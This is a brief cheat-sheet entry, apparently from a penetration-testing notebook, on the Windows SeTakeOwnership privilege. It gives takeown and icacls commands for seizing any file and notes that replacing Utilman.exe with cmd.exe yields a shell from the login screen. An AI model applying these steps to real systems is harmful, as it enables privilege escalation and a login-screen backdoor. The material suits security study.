aliases:
- SeTakeOwnership
permalink: spells/windows-setakeownership-permission
tags:
- Application/icacls
- OS/Windows/Permissions/SeTakeOwnership
- Application/takeown
- OS/WindowsThis permission allows a user to take ownership of any file or object (!!!).
# Take ownership of a file
#
takeown /f $PATH_TO_FILE
# Give your user ($USERNAME) full access (F) to said file
#
icacls $PATH_TO_FILE /grant $USERNAME:F
The "standard" file to replace with cmd.exe with this trick is C:\Windows\System32\Utilman.exe, which provides accessibility services access from lock and login screens.